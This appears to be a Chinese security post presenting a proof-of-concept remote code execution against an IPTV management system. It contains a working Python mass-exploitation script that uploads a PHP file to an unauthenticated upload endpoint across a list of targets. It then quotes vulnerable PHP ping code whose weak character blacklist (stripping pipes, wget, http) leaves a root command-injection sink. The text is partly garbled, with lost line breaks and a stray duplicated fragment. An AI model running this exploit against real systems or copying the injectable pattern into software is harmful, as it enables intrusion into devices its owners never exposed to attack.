iptv_rce(附poc)

import requestsimport sslimport refrom bs4 import BeautifulSoup

headers = {    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',    'User-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55',    'Content-type' : 'multipart/form-data; boundary=----WebKitFormBoundaryxcexPspczP3BiouN'}
Data = "nnn------WebKitFormBoundaryxcexPspczP3BiouNnContent-Disposition: form-data; name="file"; filename="wen.php"nContent-Type: application/octet-streamnn<?php phpinfo(); ?>n------WebKitFormBoundaryxcexPspczP3BiouN--n"def get_url(target_text):    with open(target_text, 'r') as f:   #读取文件，循环取值        for target_url in f:            url = target_url.strip('n') #删除末尾换行符，此处更适合用str.replace(“n”,””)：替换”n”为空             vuln_url = url + "/ZHGXTV/index.php/admin/common/uploadfile"            try:    #异常处理                ssl._create_default_https_context = ssl._create_unverified_context  #ssl证书问题忽略                reponse_get = requests.post(url=vuln_url,headers=headers,data=Data,timeout=10) #获取请求包回应信息                if reponse_get.status_code == 200 :                    soup = BeautifulSoup(reponse_get.text,"html.parser")    #读取回应的网页内容                    #title=soup.title.string.replace('r','').replace('n','')   #提取标题信息                    re_text=re.findall('filePath":".(.+..php)',str(soup))[0]                    print("地址{}n请求成功，响应：{}".format(url,soup))                    print("33[32m[❤️]文件路径为：{}/ZHGXTV/{}33[0m".format(url,re_text))
                else:                    print("请求失败")                    sys.exit(0)            except Exception as e:                print("33[31m[☠️] 程序异常:{} 33[0m".format(e))                continue                
    
if __name__ == '__main__':    target_text = str(input('请拖入检测列表:'))    get_url(target_text)

<?php
//已经完成所有检查class ping extends spController{    function main(){        $host = $_GET['host'];        $num = (int)$_GET['num'];        //防止运行特殊代码        $host = str_replace("|", "", $host);        $host = str_replace(" ", "", $host);        $host = str_replace("&", "", $host);        $host = str_replace(">", "", $host);        $host = str_replace("<", "", $host);        $host = str_replace("wget", "", $host);        $host = str_replace("http", "", $host);        //地址校验正则        $domain = "/^[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+.?|((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})(.((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})){3}$/";        if (!$host || !preg_match($domain, $host)) die;        if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { //判断是否为IP地址            if (lf_getaddrbyhost("www.qq.com") == "www.qq.com") die(T("不能连接到互联网，请查看您的网络设置") . "！<br>");            $host = lf_getaddrbyhost($host);        }
        if ($num == 1) {            unset($_COOKIE['ping']);            setcookie("ping", $host, 0, "/");            echo T("接受5次ping测试") . "！[" . $_GET['host'] . "]<br>";            echo 'PING ' . $host . ' (' . $host . ') 56(84) bytes of data.<br>';        } else {            $host = $_COOKIE['ping'];        }
        $result = lf_rootrun('/usr/bin/ping -c 1 -w 1 ' . $host . '|grep icmp', 1);        if ($result) {            echo $result . "<br>";        } else {            echo 'reply time out!<br>';        }        if ($num == 5) {            echo T('已完成！');            unset($_COOKIE['ping']);        }    }}
/** * * @param $str 看是否在连网 */function lf_getaddrbyhost($host, $timeout = 1){    $query = `/usr/bin/nslookup -timeout=$timeout -retry=1 $host`;    if (preg_match('/nAddress: (.*)n/', $query, $matches))        return trim($matches[1]);    return $host;}
?>

if (preg_match('/nAddress: (.*)n/', $query, $matches)        return trim($matches[1]);